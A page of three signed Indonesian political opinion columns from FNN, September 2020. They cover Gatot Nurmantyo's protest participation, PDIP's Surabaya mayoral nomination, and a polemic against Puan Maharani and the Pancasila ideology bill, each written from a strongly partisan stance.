by Dr. Syahganda Nainggolan Jakarta FNN – Rabu (09/09). Jumhur Hidayat, mantan aktifis ITB yang pernah dipenjarakan rezim militer Orde Baru ke Nusa Kambangan, khusus bertanya kepada saya, "kenapa Jenderal (Purn) Gatot Nurmantyo mau ikut demonstrasi kemarin di depan Gedung Sate, Bandung?" Saya berjanji untuk membuat tulisan ini untuk menjawab alasan psikologis dan sosiologis partisipasi Gatot Nurmantyo (GN) itu dalam kacamata ilmu. Karena memang baru sekali dalam sejarah Bangsa Indonesia, seorang Jenderal (asli) Bintang Empat ikut dalam aksi demo. Bukan Jendral Kehormatan. Biasanya para jenderal-jenderal purnawirawan menikmati "comfort zone" sebagai anggota masyarakat yang terhormat di bumi pertiwi ini. Selain umumnya banyak diantara mereka menjadi komisaris-komisaris di perusahan raksasa, dengan gaji yang besar. Demonstrasi menyelamatkan Indonesia yang digelar kelompok massa rakyat, yang dipimpin Kolonel (purn) Sugeng Waras, Senin, 7/9, kemarin di Bandung. Intinya adalah mengutuk krisis demokrasi yang terjadi saat ini. Aksi itu disebabkan adanya kemunduran demokrasi, di mana Koalisi Aksi Menyelamatkan Indonesia (KAMI), dupersulit oleh aparatur negara, dalam hal ini yang tersurat adalah Satgas Covid-19. Satgar Covid-19 yang mencabut rekomendasi perlengkapan ijin acara Deklarasi KAMI Jabar, yang sedianya dilakukan di Hotel Gran Pasundan, Senin, 7 /9/2020. Padahal, seminggu sebelumnya, pihak hotel menjamin acara Deklarasi KAMI Jabar tidak masalah. Karena baru saja hotel tersebut dipakai oleh kelompok bisnis air minum yang berkumpul hampir 1.000 orang. Sedangkan KAMI hanya untuk 500 orang. Di luar urusan tersurat, tentu urusan tersirat, kita melihat rangkaian konvoi-konvoi calon calon kepala daerah, baik Bupati/Walikota, maupun Cagub, bebas berdesak-desakan tanpa protokol Covid-19. Sebaiknya, acara di hotel, karena bisnis profesional, pasti protokol Covid-19 dilakukan serius oleh pihak hotel tersebut. Tersirat artinya pula, pasti bukan urusan Satgas Covid-19 yang ngotot melarang acara KAMI tersebut. Lalu siapa? Itulah yang ingin dikejar aksi demo KAMI Jabar tersebut. Gatot Dalam Perspektif Maslow Ahli-ahli kepribadian telah mengembangkan ilmu "psychodynmic theory, Social Learning Theory, Situation-person interaction theory dan Need Theory" untuk melihat kepribadian seseorang. Berbagai ilmu tersebut di atas sebagian besar bersumber pada Sigmund Freud, sebagai guru mereka. Freud melihat staging atau tahapan perkembangan kepribadian terkait dengan masa awal kehidupan manusia, yakni fase oral, anal dan phallic. Namun, dalam perkembangan dewasa ini, para ahli menawarkan kombinasi interaksi sosial pada fase fisikal yang dilontarkan Freud. Perkembangan Gatot Nurmantyo dalam analisa kepribadian (the ID, Ego and Super Ego) yang mengikutkan analisa interaksi sosial, di mana GN hidup dalam keluarga dan asrama militer. Tentu berpengaruh pada sifat dasar GN, terkait dengan heroisme, tanggung jawab dan disiplin. Keluarga memberi moralitas dasar, serta lingkungan militer (asrama) menambahkan tentang yang salah vs benar. Maslow dalam "Hierarchy of Needs" mendekati analisa dari kebutuhan hidup seseorang untuk mengetahui level manusia tersebut. Menurutnya, manusia terendah berada pada level kebutuhan fisik. Setelah itu kebutuhan keamanan, di atasnya lagi kehidupan sosial. Lalu kebutuhan kenyamanan (penghormatan). Terakhir kebutuhan aktualisasi diri (menyangkut keagungan dan moralitas). Dalam perspektif Maslow ini, Gatot Nurmantyo, sebagai jenderal penuh. Bukan seperti beberapa jenderal yang bintang empat karena kehormatan telah mencapai tahapanlevel ke empat, yakni penghargaan. Baik penghargaan negara maupun berbagai kenyamanan hidup lainnya.Namun apa yang mengganggu Gatot Nurmantyo sehingga tidak berhenti pada kenyamanan level empat hirarki Maslow? Dalam berbagai kesempatan, GN sudah menyampaikan bahwa dia sudah berusaha menghindari politik selama hampir tiga tahun sejak pensiun. Dalam keluarga yang super mapan, ditandai dengan harta, anak-anak yang sukses, dan tidak ada beban hukum di masa lalu, selama ini GN menghabiskan waktunya mengurus cucu dan bertani. Namun, ketika menurutnya ada gejala ingin mengubah Pancasila dari kekuasan yang sedang berlangsung, khususnya sejak RUU HIP diupayakan untuk diundangkan di DPR-RI beberapa waktu lalu, GN terganggu. Menurutnya, sejak dia melakukan Sumpah Prajurit di bawah Al Quran, ketika lulus Akademi Militer, tanggung jawab mempertahankan Pancasila adalah persoalan moralitas dasar yang dia akan pertahankan hidup atau mati. Menurutnya, rencana pengubahan Pancasila yang bisa diperas menjadi Trisila dan Ekasila adalah upaya makar yang nyata. Upayayang akan membubarkan negara. Dan ini menjadi gangguan kejiwaan yang mendorong moral politiknya kembali menunjukkan tanggung jawab. Inilah penjelasan level ke lima teori Maslow. Bahwa GN harus menapaki level hirarki Maslow dengan meninggalkan kenyamanan level keempat dan tentu saja mempunyai resiko besar. Resiko tersebut telah diperhitungkan dengan sangat matang oleh GN. Perspektif Sosiologis Membaca sosok Gatot Nurmantyo dari personality theory dapat menggambarkan gelora hati dan moralitas GN tersebut. Penjelasan sosiologis akan membantu lebih dalam lagi akan hal tersebut. Ahli-ahli sosiologi dalam perspektif Durkhemian, Marxian dan interaksi Sosial menjelaskan bagaimana perjalanan individu dalam konteks sosial. Memakai Durkheim, kita melihat lingkungan militer dalam kehidupan GN seumur hidupnya membuat perspektif GN melihat situasi terikat pada lingkungan itu. Gatot misalnya, secara tegas meyakini bahwa Komunis dan Komunisme adalah ancaman sentral di Indonesia. Hal ini sesuai dengan realitas lingkungan militer yang melihat Komunis sebagai ideologi paling berbahaya. Khususnya ketika pada tahun 1965, banyak jenderal yang dibunuh Komunis kala itu. GN berbeda dengan pemerintah ketika rezim Jokowi melakukan berbagai deislamisasi. Baik secara keras dengan kriminalisasi ulama, maupun propaganda media, Gatot malah berkali-kali membuat langkah berlawanan. Misalnya dengan mengundang Ustad Abdul Somad ke Markas TNI, mengadakan pengajian 1.000 hafiz dan hafizah di Mabes TNI. Melakukan nonton bareng film anti Komunis (G/30S PKI). Gatot bukan saja memperlihatkan kedekatannya pada ulama.Namun GN juga meyakini bahwa Indonesia ini hanya akan aman dan besar kalau NU dan Muhammadiyah bersatu. Lalu bagaimana melihat oligarki alias penguasaan asset-asset negara di tangan cukong-cukong? Menariknya, dalam pidato GN di Tugu Proklamasi, dia mengutuk oligarki ekonomi yang berlindung "dibalik" ketiak konstitusi. Gatot malah menginginkan sila kelima Pancasila tentang keadilan sosial dijalankan dengan sungguh -sungguh. Disini, analisa Durkhemian yang strukturalis harus digeser pada teori interaksi sosial, dimana struktur dan agen sama kuatnya berpengaruh. Sebagai agen (tokoh), GN mempunyai "free will" dalam hidupnya, di mana dia bermaksud mengubah struktur atau lingkungan atau sistem. Disini pertanyaan Jumhur Hidayat terjawab, bahwa meskipun GN hidup sepenuhnya dalam lingkungan militer, namun dia ingin demokrasi tak dipermainkan. GN marah dengan demokrasi yang dipermainkan itu. Dia meninggalkan kenyamanannya sebagai orang sukses. Mau berdemonstrasi, dengan resiko. Penutup Mengapa Gatot Nurmantyo mau ikut demo kemarin di Gedung Sate? Bukankah dia mantan Jenderal bintang empat asli? Bukan seperti banyak bintang empat kehormatan? Mantan Panglima TNI yang hidupnya nyaman? Apakah dia "post power syndrome"? Menurut teori kepribadian dan sosiologi yang saya jelaskan di atas, GN memang telah meninggalkan kenyamannannya sebagai orang terhormat pada level Self Esteem yang disebut Maslow of Hierarchy of Needs. Moralitas GN terganggu dengan adanya rencana mengubah Pancasila, sebagaimana yang sedang diupayakan pada RUU Pancasila beberapa bulan lalu. Sebagai prajurit dan anak prajurit yang besar dalam asrama militer, GN mempunya "super ego" yang sensitif atas isu Pancasila tersebut. Selain isu Pancasila sebagai utama, akhirnya merembet pada isu-isu lainnya yang terkait dengan degradasi negara dan bangsa yang menuju kehancuran. Ini ditandai dengan isu-isu deislamisasi, oligarki dan kesalahan penanganan pandemi Covid-19. Dalam orasi politiknya, sebagai demonstran, GN telah menyatakan siap mati atau ditangkap rezim ini. Sikap itu, jika upaya politik moral yang dia jalankan untuk mengkoreksi kehidupan berbangsa dan bernegara direspon sebagai kejahatan. Namun, essai yang saya tulis ini sesungguhnya kembali untuk menjawab pertanyaan Mohammad Jumhur Hidayat. Mantan tokoh aktifis ITB legendaris yang ditangkap militer di masa Orde Baru, yang bertanya pada saya, “kenapa seorang Jenderal mau ikutan demo”? Mungkin Jumhur cemburu, bahwa ada sosok (eks) militer yang juga mau demonstrasi. Bukan lagi hanya kaum buruh atau mahasiswa atau anak STM. Cemburu karena ada manusia yang mau meninggalkan semua kemewahan menjadi seorang demonstran, demi menyelamatkan negara ini. Penulis adalah Direktur Eksekutif Sabang Merauke Circle.

Abaikan Whisnu, Benarkah Megawati Lupakan Jasa Sutjipto?

by Mochamad Toha Surabaya FNN - Rabu (09/09). DPP PDI-P secara resmi mengusung Eri Cahyadi sebagai Bakal Calon Walikota, Armudji sebagai Bakal Calon Wakil Walikota Surabaya pada Pilwali Surabaya 2020. Pengumuman Ketua DPP PDI-Puan Maharani itu membuat kecewa pendukung Whisnu Sakti Buana. Pendukung Wakil Walikota Surabaya itu mempertanyakan latar belakang Eri Cahyadi yang mendapatkan rekomendasi sebagai Bacawali. Dan wakilnya, Armudji, yang dianggapnya telah mengundurkan dari penjaringan PDIP. Mereka mengaku kecewa lantaran jagoan mereka, Whisnu yang juga kini menjabat Wawali Surabaya dua periode itu, tidak mendapatkan rekomendasi dari DPP PDIP. “Whisnu adalah kader partai, kenapa bukan calon. Sangat kecewa,” teriak seorang pendukung Whisnu. “Eri itu siapa? Armudji sudah mengundurkan diri kenapa jadi wakil. Bangsat!” teriaknya di depan DPD Jatim, seperti dilansir CNNIndonesia.com, Rabu (02/09/2020 15:43 WIB). Para pendukung Whisnu ini memprotes keputusan PDIP di luar gedung. Sementara di dalam gedung DPD PDI-P Jatim, tampak Walikota Surabaya Tri Rismaharini, Puti Guntur Soekarno, Wawali Whisnu Sakti Buana, Ketua DPP PDIP Djarot Saiful Hidayat dan sejumlah fungsionaris DPP PDIP lainnya. Pengumuman paslon Eri-Armudji itu secara resmi dibacakan oleh DPP Bidang Politik PDIP Puan Maharani dalam acara Pengumuman Calon Kepala Daerah Gelombang V, berlangsung secara daring pada Rabu (2/9/2020). “Rekomendasi Kota Surabaya, diberikan kepada Eri Cahyadi, dengan Armudji. Sebagai calon walikota dan calon wakil walikota Surabaya,” kata Puan, disaksikan jajaran DPD PDIP Jatim dan DPC Surabaya melalui daring. Pantauan CNNIndonesia.com di lokasi, usai pengumuman itu dibacakan, suasana DPD Jatim pun langsung hening. Pekikan merdeka dari Puan pun tidak terlihat bersahut. “Merdeka! Ayo semangat,” ucap Puan nyaris tak digubris. Sangatlah wajar jika para pendukung Whisnu itu merasa kecewa. Pasalnya, mereka berharap putra almarhum Ir. Soetjipto Soedjono, mantan Sekjen DPP PDIP itu, direkomendasikan oleh DPP PDIP sebagai Bacawali Surabaya, bukan Eri Cahyadi. Jasa dan sumbangsih Pak Tjip, begitu panggilan akrab Soetjipto Soedjono ini, pada Megawati Soekarnoputri kala berjuang merebut kepemimpinan PDI dari Soerjadi tidak bisa digantikan dan dilupakan begitu saja. Sejarah mencatat, sejak terjadi konflik internal PDI (tidak ada P-nya) antara Soerjadi yang didukung Pemerintah dengan Megawati, Pak Tjip selalu setia berada di barisan pendukung Megawati hingga akhir hanyatnya pada 24 November 2011. Konflik internal terus berlanjut sampai dengan dilaksanakannya Kongres IV PDI di Medan. Kongres IV PDI diselenggarakan pada 21-25 Juli 1993 di Aula Hotel Tiara, Medan, Sumatera Utara, dengan peserta sekitar 800 orang. Dalam Kongres itu muncul beberapa nama calon Ketua Umum yang akan bersaing dengan Soerjadi, yakni Aberson Marle Sihaloho, Budi Hardjono, Soetardjo Soerjogoeritno dan Tarto Sudiro. Muncul pula nama Ismunandar, Wakil Ketua DPD DKI Jakarta. Budi Hardjono saat itu disebut-sebut sebagai kandidat kuat yang didukung pemerintah. Tarto Sudiro maju sebagai calon Ketua Umum yang didukung Megawati. Saat itu Megawati belum bisa tampil mengingat situasi dan kondisi politik masih belum memungkinkan. Kongres IV PDI di Medan dibuka oleh Presiden Soeharto dan acara tersebut berjalan lancar. Tapi, beberapa jam kemudian acara Kongres menjadi ricuh karena datang para demonstran yang dipimpin Jacob Nuwa Wea mencoba menerobos masuk ke arena sidang. Acara tetap berlangsung sampai terpilihnya kembali Soerjadi secara aklamasi sebagai Ketua Umum PDI. Namun, belum sampai penyusunan kepengurusan suasana kembali ricuh karena demonstrasi yang dipimpin Jacob Nuwa Wea berhasil menerobos masuk ke arena Kongres. Pemerintah akhirnya mengambil alih melalui Mendagri Yogie S. Memed dan mengusulkan membentuk caretaker. Dalam rapat formatur yang dipimpin Ketua DPD PDI Jatim Latief Pudjosakti pada 25-27 Agustus 1993 akhirnya diputuskan susunan resmi caretaker DPP PDI. Posisi Pak Tjip saat terjadi konflik internal PDI, Pak Tjip sebagai Bendahara DPD PDI Jatim. Ketika terjadi perpecahan, barulah Pak Tjip menjabat Ketua DPD PDI Jatim. Sehingga, PDI Jatim ada dua kepengurusan: PDI Soerjadi dan PDI Megawati. Latief Pudjosakti berada bersama Soerjadi. Sedangkan Pak Tjip di kubu Megawati. Pak Tjip mendukung DPP PDI pimpinan Megawati Soekarnoputri. Dalam puncak karier politiknya, ini mengantarkannya menjabat Sekjen PDI-P dan Wakil Ketua MPR. Pak Tjip memimpin kader dan simpatisian PDI di Jatim melawan campur tangan pemerintah dalam tubuh PDI. Dia pun mengalihkan markas PDI ke kantor CV. Bumi Raya, perusahaan jasa konstruksi miliknya di Jalan Pandegiling, Kota Surabaya. Karena kantor lama sedang direbut kubu Latief Pudjosakti. Sebuah wujud perlawanan kepada pemerintah yang dinilai otoriter sekaligus sebagai wujud dukungan kepemimpinan Megawati yang didukung oleh arus bawah. Dari kantor yang dulu dikenal dengan sebutan “Markas Pandegiling” inilah Pak Tjip bersama putranya, Whisnu Sakti Buana, melakukan perlawanan. Nama Whisnu mulai dikenal sebagai penggerak perlawanan masyarakat arus bawah. Dalam setiap kali demo, Whisnu selalu memimpin dan berada di depan. Itulah fakta politik yang terjadi selama masa “perjuangan” Pak Tjip dan Whisnu sebelum akhirnya keduanya menjadi bagian dari PDI Perjuangan pimpinan Megawati. Makanya wajar jika di kalangan akar rumput Surabaya memilih mendukung Whisnu sebagai Bacawali Surabaya ketimbang yang lainnya seperti Eri Cahyadi yang baru bergabung dengan PDIP begitu direkomendasikan oleh DPP PDIP. Kabarnya, nama Eri Cahyadi itu disodorkan oleh Walikota Tri Rismaharini. Akankah Eri bisa mengikuti jejak Risma yang sebelum diusung PDIP itu menjabat Kepala Badan Perencanaan Pembangunan Kota (BAPPEKO) Surabaya? Melansir Liputan6.com, Kamis, (03 Sep 2020, 15:00 WIB), sosok Eri Cahyadi ini ternyata putra asli Surabaya. Berasal dari kampung lawas Maspati. Kampung yang saat ini dijadikan sebagai kampung wisata tersebut berada di dekat Tugu Pahlawan. “Saya sempat ngobrol-ngobrol sama Mas Eri. Ternyata, Mas Eri ini aslinya dari Maspati Surabaya. Usianya saat ini 43 tahun. Mas Eri juga alumni dari ITS Surabaya,” ujar Ketua DPP Bidang Ideologi dan Kaderisasi, Djarot Saiful Hidayat, Kamis (3/9/2020). Sementara itu, saat dikonfirmasi apakah dirinya masuk menjadi kader PDIP, Eri Cahyadi menjawab, saat dirinya dicalonkan sebagai Bacawali Surabaya oleh PDIP, itu artinya sudah menjadi bagian dari PDIP. “Setelah saya dicalonkan sebagai Cawali Surabaya, saya sudah menjadi bagian dari keluarga PDI Perjuangan,” ucap Eri. Nama Eri Cahyadi sebelumnya santer terdengar sejak tahun lalu sebagai calon yang akan menggantikan Risma. Ia menjabat sebagai Kepala Badan Perencanaan Pembangunan Kota (Bappeko) Surabaya pada 2018 saat berusia 41 tahun. Mengutip situs pribadi Eri Cahyadi, sebelum menjadi pegawai negeri sipil (PNS), ia bekerja sebagai konsultan di Jakarta pada 1999-2001. Kemudian dia mendaftar sebagai CPNS, dan diterima sebagai PNS pada 2001 di Dinas Bangunan. Pria Teknik Sipil ITS Surabaya pada 1999 ini telah menjadi Plt Kasubag pada usia 30 tahun. Lalu, dia dipercaya menjadi Kepala Dinas Perumahan Rakyat dan Kawasan Pemukiman, Cipta Karya dan Tata Ruang saat usia 34 tahun. Selanjutnya ia dipercaya menjadi Kepala Bappeko dan Plt Kepala Dinas Kebersihan dan Ruang Terbuka (DKRTH) pada 2018. Lawan Tangguh Eri Cahyadi-Armudji yang diusung PDIP dan PSI akan berhadapan dengan pasangan yang didukung koalisi PKB, Gerindra, PKS, Golkar, Demokrat, Nasdem, PAN, dan PPP, yakni Machfud Arifin dan Mujiaman Sukirno. Seperti dilansir Tempo.co, Minggu (6 September 2020 06:23 WIB), pasangan Bacawali Machfud dan Bacawawali Mujiaman mendaftarkan diri ke KPU Kota Surabaya pada Minggu (6/9/2020). Menurut Direktur Media dan Komunikasi Tim Pemenangan Machfud-Mujiaman, Imam Syafi'i, proses pendaftaran pasangan Machfud-Mujiaman dipastikan menerapkan protokol kesehatan yang ketat untuk mencegah terjadinya penularan Covid-19. “Prosesi pendaftaran dilakukan pada sore hari dan dimulai sekitar pukul 14.30 WIB. Paslon akan tiba lebih dahulu di posko utama Jalan Basuki Rahmad,” ungkap dia, Sabtu (5/9/2020). Setiba di posko, Imam mengatakan paslon terlebih dulu ziarah ke Makam Sunan Bungkul sebelum ke KPU. Alasan dipilihnya makam Sunan Bungkul karena warga Surabaya biasa ziarah ke Sunan Bungkul dulu baru ke sunan lainnya. Seperti halnya Eri Cahyadi, Machfud Arifin, Irjen Polisi Purnawirawan ini lahir di Ketintang, Gayungan, Kota Surabaya, pada 6 September 1960. Machfud sebelumnya menjabat Analis Kebijakan Utama bidang Sabhara Baharkam Polri. Lulusan Akpol 1986 ini berpengalaman dalam bidang reserse. Jabatan terakhir Machfud adalah Kepala Kepolisian Daerah Jawa Timur. Penulis adalah Wartawan Senior FNN.co.id

Puan Perjelas Ungkapan Kampong “Maling Teriak Maling"

by Dr. Masri Sitanggang Jakarta FNN – Selasa (08/09). Aku bukan Urang Minang. Aku Batak. Aku Sitanggang. Tapi aku benar-benar terusik (bisa juga dibilang marah) dengan ucapan Puan Maharani yang mengesankan bahwa orang Sumatera Barat (Sumbar) selama ini tidak mendukung Negara Pancasila. Bukannya aku ingin membela Urang Minang, karena tanpa kubela pun, setiap anak SD yang belajar sejarah pasti tahu kalau Urang Minang itu berjasa besar dalam mendirikan NKRI. Marahku tak lebih karena Puan Maharani adalah seorang Ketua PDIP. Seorang Ketua PDIP “menuduh” orang lain tidak mendukung negara Pancasila? Buat aku itu sebuah keanehan, kalau tidak dibilang sebagai kejahatan. Ada sesuatu atau maksud tertentu yang ingin disembunyikan dibalik “tuduhan” penghinaan tersebut. Partai Puan Maharani sekarang memang sedang menghadapi guncangan keras. Ini berkaitan dengan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) yang diusulkan oleh partai berlambang kepala kerbau itu. Masyarakat yang setia pada Pancasila di seluruh tanah air marah, menolak dan menuntut para penyusun naskah akademik dan pengusul RUU HIP supaya diusut secara hukum. Masrarakat mesti marah. Masalahnya RUU HIP tersebut, jelas-jelas ingin menggantikan falsafah Pancasila yang sah, yakni Pancasila 18 Agustus 1945 yang diberlakukan kembali melalui Dekrit Presiden 5 Juli 1959, dengan Pancasila yang tidak ada dasar hukumnya, yaitu Pancasila 1 Juni 1945 yang merupakan ideologi PDIP. Ini makar yang nyata terhadap falsafah negara, tapi berselubung konstitusi. Apakah Puan ingin menghilangkan jejak partainya, yang tertuduh tidak mendukung Pancasila yang sah? Dengan melontarkan ungkapan “semoga Sumbar menjadi propinsi yang mendukung negara Panacasila”. Entahlah, tetapi di kampung-kampung memang populer istilah “maling teriak maling". Itu efektif untuk menyelamatkan seorang maling dari tuduhan “maling”. Setidaknya untuk sementara waktu. Di tahun 2017, tepatnya 18 Agustus 2017, di hadapan Anggota Komisi A DPRD Sumut, Syamsul Qodri (PKS) dan Brilian Muchtar (PDIP), aku mengatakan, “kalau nanti saya berkuasa, yang pertama saya bubarkan adalah PDIP”. Saat itu aku mengajukan tantangan debat soal Pancasila kepada PDIP, dan itu viral ral ral ral. Tapi tak seorang pun anggota PDIP yang mau menerima tantanganku, sampai hari ini. Waktu itu, aku dan sejumlah aktivis di Sumut melakukan aksi menolak Perppu no 2 tahun 2017 tentang Organisasi Kemasyarakatan yang dijadikan dasar bagi pemerintah untuk mencabut badan hukum Hizbut Thahrir Indonesia (HTI). Organisasi ini, dengan isu khilafahnya, dianggap menyimpang dari Pancasila. Padahal, dalam AD/ART HTI jelas tercantum azasnya adalah Pancasila. Tidak ada khilafah. Aku bukan hendak membela HTI. Bukan itu. Tetapi semata-mata kerena menyangkut masalah yang paling mendasar dalam hidup berbangsa dan bernegara. Masalah Pancasila. Jangan sampai Pancasila diseret kemana-mana, sehingga bisa digunakan sebagai alat kekuasaan untuk menghabisi lawan-lawan politik seperti di masa Orla dan Orba. Negara ini akan mundur lagi dan recok terus, tak berkesudahan. Bicara soal Pancasila, dalam konteks falsafah NKRI, maka yang jadi pegangan kita adalah alenia ke-4 Pembukaan UUD 1945 sesuai Dekrit Presiden 5 Juli 1959. Inilah Pancasila yang sah, dan selanjutnya dalam tulisan ini digunakan istilah tersebut. Bukan yang lain. Berdasarkan Dekrit Presiden itu, “Piagam Jakarta tertanggal 22 Juni 1945 menjiwai UUD 1945, dan merupakan suatu rangkaian kesatuan dengan konstitusi tersebut.” Dalam hal ini sesuai penjelasan tertulis Perdana Mentri Djuanda kepada Ahmad Saichu (NU) dan Anwar Haryono (Masyumi), bahwa jiwa “Ketuhanan Yang Maha Esa” dalam sila pertama Pancasila adalah jiwa Piagam Jakarta. Dengan demikian, “Ketuhanan Yang Maha Esa” dimaknai sebagai “Ketuhanan dengan kewajiban menjalankan Syari'at Islam bagi pemeluk-pemeluknya” (Deliar Noer : Partai Islam Di Pentas Nasional, Cet II, 2000 dan Lukman Hakirm : Biografi Mohammad Natsir, 2019). Dalam konteks ini HTI, dengan isu khilafahnya, masih punya landasan hukum, masih sesuai dengan Dekrit Presiden 5 Juli 1959. Khilafah masih ada dalam koridor sila “Ketuhanan dengan kewajiban menjalankan Syari’at Islam bagi pemeluk-pemeluknya”. Khilafah adalah bagian dari ajaran Islam. Sebaliknya PDIP, jauh lebih layak dibubarkan ketimbang HTI. Sebab, pidato Megawati pada HUT ke-44 PDIP, 10 Januari 2017, PDIP adalah partai ideologis dengan ideologi Pancasila 1 Juni 1945. Malah, berkaitan dengan ditetapkannya 1 Juni 1945 sebagai hari lahirnya Pancasila, Megawati mengatakan, “maka segala keputusan dan kebijakan politik yang kita produksi pun, sudah seharusnya bersumber pada jiwa dan semangat nilai-nilai Pancasila 1 Juni 1945”. Jelas sakit ini barang. Jiwa dan semangat nilai-nila Pancasila 1 Juni 1945 yang dimaksud adalah “Trisila dan Ekasila”. Pada Trisila, ketuhanan berada dalam kerangkeng kebudayaan. Beragamalah sesuai dengan kebudayaan dan keberadaban. Sementara pada Ekasila ketuhanan tidak dipersoalkan lagi, yang penting “gotong royang”. Tentu ini bukan lagi sekedar, namun jauh bertentangan dengan Pancasila yang sah. Bermaksud hendak mengganti isi Pancasila yang sah. Lebih lanjut Megawati, dalam pidatonya, ingin menggunakan Pancasila 1 Juni 1945 sebagai alat “pendeteksi sekaligus tameng proteksi” (istilah Megawati) dalam kehidupan berbangsa dan bernegara. Ini akan sangat berbahaya. Sebab, sudah pasti banyak hal dalam kehidupan berbangsa dan bernegara ini yang akan out of frame. Sifat akomodatif Pancasila yang sah jauh lebih luas dari pada Pancasila 1 Juni 1945. Fenomena ini dapat diibaratkan sebagai upaya memotret permukaan bumi dengan dua kamera yang berbeda. Pancasila yang sah ibarat kamera satelit, mampu memotret 34225 km persegi. Pancasila 1 Juni 1945 adalah kamera pesawat terbang, hanya mampu memotret seluas 25 km persegi. Jadinya, hanya sebahagian kecil saja dari citra satelit yang dapat dipotret oleh kamera pesawat terbang. Artinya, banyak persoalan kehidupan berbangsa yang ada (terakomodir) dalam frame Pancasila yang sah tanggal 18 Agustus 1945. Tetapi tidak masuk dalam frame Pancasila 1 Juni 1945. Itulah sebabnya mengapa Megawati dalam pidatonya, secara sinis, menyebut orang yang percaya kehidupan akhirat sebagai “self fulfilling prophecy” (peramal masa depan, termasuk kehidupan setelah dunia fana). Mereka yang membela kehormatan agamanya, atau memilih pemimpin berdasarkan perintah agamanya sebagai memaksakan kehendak. Anti demokrasi dan anti kebhinekaan. Pernyataan Megawati itu karena memang, semua tidak masuk dalam frame “kamera” Pancasila 1 Juni 1945, yaitu kamera Trisila, dan apalagi Ekasila. Padahal, ada dalam frame Pancasila yang sah. Maka, Pancasila 1 Juni 1945 sebagai pendeteksi sekaligus tameng proteksi kehidupan berbangsa akan menjadi sumber keributan yang tidak berujung. Boleh jadi, HTI adalah korban dari itu. Makanya ketika itu, aku berpendapat PDIP lebih layak untuk dibubarkan. PDIP nampaknya konsisten dengan tekad kuat Megawati sebagaimana yang dipidatokan pada HUT PDIP ke-44 itu. Periksalah AD/ART PDIP 2019-2024 Bab II Pasal lima. Di situ disebutkan, “Partai berasaskan Pancasila sebagaimana termaktub dalam Pembukaan Undang- Undang Dasar Negara Republik Indonesia Tahun 1945 dengan jiwa dan semangat kelahirannya pada 1 Juni 1945.” Kemudian di dalam Mukaddimah AD dan ART disebutkan, “PDI Perjuangan memahami Partai sebagai alat perjuangan untuk membentuk dan membangun karakter bangsa berdasarkan Pancasila 1 Juni 1945. Partai juga sebagai alat perjuangan untuk melahirkan kehidupan berbangsa dan bernegara yang ber-Ketuhanan, memiliki semangat sosio-nasionalisme, dan sosio-demokrasi (TRI SILA), serta alat perjuangan untuk menentang segala bentuk individualisme dan untuk menghidupkan jiwa dan semangat gotong-royong dalam kehidupan bermasyarakat, berbangsa, dan bernegara (EKA SILA)”. Jelas kan? Harus diakui, PDIP cukup berhasil. Begitu meraih kemenangan dalam pemilu, dan kemudian berkuasa di 2014, PDIP mampu mendorong presiden untuk menerbitkan Keppres Nomor 24 tahun 2016 tentang hari lahirnya Pancasila. Keppres ini telah pula dimanfaatkan sebagai landasan menyusun Naskah Akademik dan RUU HIP, seolah dengan Keppres ini, Pancasila 1 Juni adalah Pancasila yang sah berlaku. Selanjutnya terbit pula Perpres Nomor 54 tentang Unit Kerja Presiden Pembinaan Ideologi Pancasila. Kemudian berganti nama menjadi Badan Pembinaan Ideologi Pancasila (BPIP). Badan ini berpotensi menjadi alat penguasa penafsir tunggal Pancasila. Salah satu tafsirnya yang menggungcang adalah –melalui Kepalanya Yudian Wahyudi, bahwa musuh terbesar Pancasila adalah agama. Yudian Wahyudi tampaknya sudah menjalankan isi pidato Megawati untuk menjadikan Pancasila 1 Juni 1945 (entah Trisila atau Ekasila) sebagai “pendeteksi sekaligus tameng proteksi” dalam kehidupan beragama. Kemudian lahir RUU HIP yang secara fundamental ingin menggusur Pancasila yang sah sebagaimana telah dijelaskan di atas, diganti dengan Pancasila 1 Juni 1945. Terakhir, lahir RUU BPIP yang secara sah akan memiliki kekuatan hukum untuk menjadi penafsir tunggal Pancasila sesuai kehendak penguasa. Antara RUU HIP dan RUU BPIP itu satu paket, searah dengan kehendak Megawati yang diutarakannya dalam pidato 44 tahu PDIP. Bahwa “segala keputusan dan kebijakan politik yang kita produksi pun, sudah seharusnya bersumber pada jiwa dan semangat nilai-nilai Pancasila 1 Juni 1945”. Itulah sebabnya mengapa BPIP tidak berkomementar sedikit pun terhadap upaya penggantian Pancasila yang sah melalui RUU HIP. Jika RUU HIP dan RUU BIP berhasil diundangkan, maka selesailah sudah proyek “revolusi mental” membentuk dan membangun karakter bangsa berdasarkan Pancasila 1 Juni 1945. Beragamalah secara berkebudayaan. Bukan dengan panduan wahyu. Bergotong royonglah tanpa memikirkan lagi soal Tuhan. Menteri Agama, Fachrul Razi, pun sudah mulai menerapkan kebijakan itu di lingkup apa saja yang beraroma Islam. Dengan isu menangkal faham radikal, ia sedang gencar menjalankan deislamisasi. Penolakan massif rakyat terhadap langkah-langkah PDIP, bahkan serangan gencar terhadap partai kepala kerbau itu, jelas sangat merisaukan para pemimpinnya. Maka, sekali lagi, apakah Puan ingin menghilangkan jejak partainya? Yang tertuduh tidak mendukung Pancasila yang sah? Dengan melontarkan ungkapan “semoga Sumbar menjadi propinsi yang mendukung negara Panacasila”, Puan sedang mempraktekan ungkapan kurang ielok orang kampong “maling teriak maling”. Itu mungkinsaja. Sebab mustahil Puan tidak tahu bahwa Bung Hatta itu orang Minang. Jadi, diduga kuat ada maksud lain dari “serangan” Puan itu. Yang pasti, “serangan” Puan telah membuat Urang Minang sibuk sekuat tenaga membuktikan bahwa mereka adalah Pancasilais sejati. Nanti, endingnya, dapat diperidiksi, apakah Puan Maharani atau PDIP (minta maaf) mengakui Urang Minang Pancasilais. Pengakuan ini adalah “sertifikat”. Bayangkan, kalau PDIP memberi sertifikat Pancasila kepada anak bangsa. Artinya apa ? Tampaknya Puan sedang memainkan dialektika yang luar biasa. Memang, dulu, ketika aku masih hobi catur, guruku berkata, “menyerang adalah cara bertahan yang baik”. Maka, hati-hatilah, jangan lupa RUU HIP dan RUU BIP. Walahu ‘Alam bisshawab. Penulis adalah Ketua #Masyumi Reborn.

Skandal Djoko Tjandra, Jaksa Agung Buka Saja

